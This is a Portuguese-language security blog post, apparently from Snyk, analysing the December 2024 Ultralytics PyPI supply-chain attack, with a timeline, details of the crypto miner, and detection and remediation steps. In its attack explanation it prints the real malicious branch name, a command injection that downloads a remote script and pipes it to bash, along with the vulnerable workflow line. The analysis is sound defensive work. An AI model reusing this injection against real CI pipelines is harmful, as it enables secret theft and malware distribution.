Skip to main content

Ataque à cadeia de suprimentos do Ultralytics AI Pwn Request

Escrito por
feature insights context

11 de dezembro de 2024

0 minutos de leitura

O ataque à cadeia de suprimentos do ultralytics ocorreu em duas fases distintas, entre 4 e 7 de dezembro de 2024. Na primeira fase, duas versões maliciosas foram publicadas no PyPI: a versão 8.3.41 foi lançada em 4 de dezembro, às 20:51 UTC, e ficou disponível por aproximadamente 12 horas, até ser removida em 5 de dezembro, às 09:15 UTC. A versão 8.3.42 foi publicada pouco depois, em 5 de dezembro, às 12:47 UTC, e ficou disponível por cerca de uma hora, até ser removida às 13:47 UTC.

A segunda fase ocorreu em 7 de dezembro, quando o invasor publicou diretamente mais duas versões maliciosas no PyPI, ignorando totalmente o GitHub Actions. A versão 8.3.45 foi publicada às 01:41 UTC e ficou disponível por cerca de 8 horas, até as 10:08 UTC. A versão 8.3.46 foi lançada às 02:27 UTC e ficou disponível por aproximadamente 7,5 horas, até ser removida às 10:09 UTC.

O ataque foi detectado inicialmente por vários meios, incluindo o sistema automatizado de detecção de abuso do Google Colab, que começou a sinalizar atividades suspeitas poucas horas após o primeiro lançamento malicioso. Usuários de vários projetos relataram padrões incomuns de uso da CPU, e os responsáveis pela manutenção de pacotes identificaram discrepâncias entre o repositório do GitHub e as versões no PyPI.

Cronologia da exploração

2024-06-04       Commit inicial do scanner de GitHub Actions do snyk

Link: https://github.com/snyk-labs/github-actions-scanner

2024-08-14       Adnan Khan relata GHSA-7x29-qqmq-v6qc aos responsáveis pelo Ultralytics — vulnerabilidade de injeção em template

                  Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6q

2024-08-14       v0.0.3 de ultralytics/actions lançada com correção para GHSA-7x29-qqmq-v6qc

                  Link: https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc

2024-08-24       v0.0.24 de ultralytics/actions reintroduz a vulnerabilidade no commit c1365ce

2024-12-03 22:28:49  @jiwuwgknvm começa a experimentar um ataque armado

2024-12-03 22:33:47  @jiwuwgknvm envia o PR #17984 (excluído) contendo um script run.sh para roubar tokens

2024-12-04 19:33:00  @openimbot envia o PR #18018 com injeção em template

                  Link: https://github.com/ultralytics/ultralytics/pull/18018

2024-12-04 19:57:00  @openimbot envia o PR #18020 com outro tipo de injeção em template

                  Link: https://github.com/ultralytics/ultralytics/pull/18020

2024-12-04 20:50:00  Lançamento da v8.3.41 iniciado por @UltralyticsAssistant

2024-12-04 20:51:12  Lançamento da v8.3.41 criado no PyPI

                  Link: https://files.pythonhosted.org/packages/d0/99/13d92174aa6a470d348a95e31164769f2cdf77838ea3c3e3fd476285777d/ultralytics-8.3.41-py3-none-any.whl

2024-12-04 23:46:00  Relato do problema #4979 no Google Colab — conta bloqueada por mineração de criptomoedas

                  Link: https://github.com/googlecolab/colabtools/issues/4979

2024-12-05 05:34:00  Problema #18027 aberto — discrepância no PyPI relatada

                  Link: https://github.com/ultralytics/ultralytics/issues/18027

2024-12-05 05:35:00  Problema #843 no ComfyUI aberto — relato de mineração de criptomoedas

                  Link: https://github.com/ltdrdata/ComfyUI-Impact-Pack/issues/843

2024-12-05 07:50:00  Problema #18030 aberto — uso da CPU em 100%

                  Link: https://github.com/ultralytics/ultralytics/issues/18030

2024-12-05 09:15:06  v8.3.41 removida do PyPI (após ~12 horas)

2024-12-05 09:39:00  Problema #184 no Comic-translate aberto — relato de mineração

                  Link: https://github.com/ogkalu2/comic-translate/issues/184

2024-12-05 12:46:00  Lançamento da v8.3.42 iniciado por @glenn-jocher

2024-12-05 12:47:29  v8.3.42 criada no PyPI

2024-12-05 13:47:30  v8.3.42 removida do PyPI (após ~1 hora)

2024-12-05 15:17:00  @glenn-jocher anuncia que @openimbot foi banido do Ultralytics

2024-12-06 19:51:00  Problema #19 no AdvancedLivePortrait-WebUI aberto — alerta de segurança

                  Link: https://github.com/jhj0517/AdvancedLivePortrait-WebUI/issues/19

2024-12-07 01:41:45  v8.3.45 lançada diretamente no PyPI (sem CI/CD)

2024-12-07 02:27:14  v8.3.46 lançada diretamente no PyPI (sem CI/CD)

2024-12-07 04:00:00  Adnan Khan anuncia que v8.3.45 e v8.3.46 são maliciosas

2024-12-07 10:08:32  v8.3.45 removida do PyPI (após ~8 horas)

2024-12-07 10:09:08  v8.3.46 removida do PyPI (após ~7,5 horas)

Ataque de mineração de Monero

As versões maliciosas do ultralytics incluíam uma carga de mineração de criptomoedas, projetada para funcionar silenciosamente em segundo plano enquanto consumia recursos significativos do sistema. O minerador era uma implementação do XMRig, configurada especificamente para minerar a criptomoeda Monero. O malware era sofisticado o bastante para acionar os sistemas automatizados de detecção de abuso do Google Colab, o que levou à suspensão temporária de algumas contas de usuários devido ao alto uso da CPU característico da mineração.

O minerador foi inserido no pacote por meio de alterações em duas funções importantes: safe_download e safe_run. A primeira etapa consistia em um downloader do lado do cliente, incorporado à função safe_download, que baixava a carga de mineração propriamente dita. A função safe_run foi modificada para executar o minerador em segundo plano, tentando ocultar o uso de recursos de uma observação casual. No entanto, o alto uso da CPU necessário para minerar criptomoedas tornou a presença do malware evidente para muitos usuários.

Como se preparar para corrigir os problemas do Ultralytics

Avalie sua exposição à dependência Python

Períodos em que as versões foram afetadas:

v8.3.41: 2024-12-04 20:51 UTC a 2024-12-05 09:15 UTC (~12 horas)

v8.3.42: 2024-12-05 12:47 UTC a 2024-12-05 13:47 UTC (~1 hora)

v8.3.45: 2024-12-07 01:41 UTC a 2024-12-07 10:08 UTC (~8 horas)

v8.3.46: 2024-12-07 02:27 UTC a 2024-12-07 10:09 UTC (~7,5 horas)

Para verificar se você foi afetado:

  1. Revise os logs de pip install desses períodos

  2. Verifique a versão atual: pip show ultralytics

  3. Revise os logs do sistema em busca de atividade incomum da CPU nesses períodos

  4. Verifique se houve builds automatizados ou execuções de CI/CD nesses períodos

Projetos que sabidamente dependem do Ultralytics

O Ultralytics é uma biblioteca de IA amplamente usada no ecossistema Python de IA/ML, especialmente em tarefas de visão computacional. Entre os projetos de destaque estão:

  • ComfyUI: usa YOLOv8 para detecção de objetos em muitos nós personalizados populares. A equipe se pronunciou sobre a situação aqui. 

  • Comic-Translate: usa modelos YOLO para detecção de texto

  • Roboflow: integração com YOLOv8 para detecção de objetos

  • Muitas outras ferramentas de Stable Diffusion e interfaces web

Entenda o ataque à cadeia de suprimentos de ultralytics/actions

O ataque explorou uma sofisticada cadeia de vulnerabilidades no GitHub Actions, mirando especificamente o sistema de automação de workflows por meio de uma técnica conhecida como injeção em template via nome de branch. Veja como o ataque ocorreu:

O comprometimento inicial aconteceu por meio de dois pull requests (PRs #18018 e #18020) maliciosos, enviados pela conta @openimbot. Esses PRs exploraram uma vulnerabilidade no workflow format.yml, que usava um gatilho pull_request_target inseguro combinado com expressões de template sem escape.

O ataque ocorreu em várias etapas:

O invasor criou uma branch com um nome cuidadosamente elaborado, contendo comandos de shell:

$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

Quando o workflow processou o nome dessa branch, a expressão de template foi expandida diretamente no contexto do shell por causa desta linha vulnerável:

git pull origin ${{ github.head_ref || github.ref }}

O comando expandido baixou e executou um script de shell malicioso que:

  • Exfiltrou tokens e segredos do GitHub

  • Envenenou o cache do pip usado pelo setup-python

  • Modificou os arquivos de distribuição das versões para incluir o minerador de criptomoedas

  • Possivelmente roubou credenciais de API do PyPI

A vulnerabilidade foi especialmente eficaz porque explorou uma ação personalizada em ultralytics/actions que havia reintroduzido um problema de segurança corrigido anteriormente.

Faça uma varredura com Snyk Open Source

O banco de dados de vulnerabilidades e as ferramentas de CLI do Snyk podem ajudar a identificar se você está usando uma versão comprometida do pacote Ultralytics. Você também pode usá-los para testar projetos de código aberto de forma mais ampla. Para verificar seu projeto:

1. Instale a CLI do Snyk:

npm install -g snyk

2. Autentique-se no Snyk:

snyk auth

3. Faça uma varredura no seu projeto Python:

snyk test

Isso vai identificar se você está usando alguma das versões maliciosas conhecidas do pacote Ultralytics (8.3.41, 8.3.42, 8.3.45 ou 8.3.46) e também verificar outras possíveis vulnerabilidades nas suas dependências.

Use o Snyk GitHub Actions Scanner no seu conjunto de ferramentas de DevSecOps

O Snyk GitHub Actions Scanner é um utilitário de código aberto que pode ajudar a identificar configurações vulneráveis do GitHub Actions, como as exploradas neste incidente. Embora não seja um produto oficial do Snyk, é uma ferramenta valiosa para seu conjunto de ferramentas de DevSecOps.

Para usar o scanner:

1. Clone o repositório e instale as dependências:

git clone https://github.com/snyk-labs/github-actions-scanner
cd github-actions-scanner
npm install

2. Configure seu token do GitHub:

echo "GITHUB_TOKEN=your-token-here" > .env

3. Faça uma varredura em um repositório:

npm start scan-repo -- -u https://github.com/your/repo

O scanner procura vários problemas críticos, incluindo:

  • PWN_REQUEST: identifica workflows que usam pull_request_target e também fazem checkout de branches de pull requests — exatamente a vulnerabilidade explorada neste incidente. Isso é perigoso porque o pull_request_target é executado com os segredos do repositório, mas pode ser acionado por colaboradores externos não confiáveis.

  • CMD_EXEC: detecta expressões de template sem escape, como ${{ }}, em diretivas run, que podem levar à injeção de comandos.

Para uma varredura mais completa, que verifique as ações referenciadas:

npm start scan-repo -- -u https://github.com/your/repo -r -m 5

Isso verifica as ações referenciadas até 5 níveis de profundidade, ajudando a identificar vulnerabilidades em toda a cadeia de ações.

Riscos de segurança de IA e segurança da cadeia de suprimentos

O incidente do ultralytics é mais um caso na longa lista de violações de segurança da cadeia de suprimentos de código aberto. Os registros npm e PyPI vêm sofrendo ataques de malware com foco em criptomoedas, que muitas vezes remetem às práticas de segurança dos responsáveis pela manutenção e à configuração segura dos projetos. Este ataque ao GitHub Actions demonstra como é fundamental seguir rigorosamente as práticas recomendadas de segurança.

Os riscos de segurança de IA não se limitam a incidentes na cadeia de suprimentos de código aberto: eles também se estendem ao aprendizado de máquina e aos registros de modelos. Ataques iminentes, como a execução remota de código, podem afetar desenvolvedores por meio de vulnerabilidades em formatos de arquivo de deep learning e de código inseguro gerado por IA, comumente usado por desenvolvedores por meio de LLMs.

Saiba como usar o Snyk para proteger código gerado por IA.

Prepare-se para o futuro dos assistentes de programação com a Snyk

Conheça os assistentes de programação e saiba como integrar essas ferramentas aos fluxos de trabalho de desenvolvimento.